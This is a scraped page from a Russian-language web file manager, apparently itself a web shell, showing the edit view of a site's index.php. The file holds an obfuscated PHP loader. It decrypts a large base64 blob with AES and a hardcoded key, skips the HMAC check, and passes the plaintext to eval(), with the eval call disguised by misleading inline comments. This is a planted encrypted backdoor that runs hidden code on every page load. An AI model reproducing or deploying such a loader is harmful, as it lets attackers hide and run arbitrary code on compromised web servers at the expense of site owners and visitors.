Файловый менеджер - Редактировать - /home/d46091/gemregistrationportal.org/index.php
Назад
<?php class Secure { private $masterKey; private $iterations = 10000; private $cipher = 'aes-256-cbc'; private $hmacAlgo = 'sha256'; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9'); $str = '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'; $decrypted = $secure->decrypt($str); /*1748311240 AMDL*/eVaL(/*Super*/ /*saltLength*/$decrypted/*56168*/);
| ver. 1.4 |
Github
|
.
| PHP 8.1.32 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка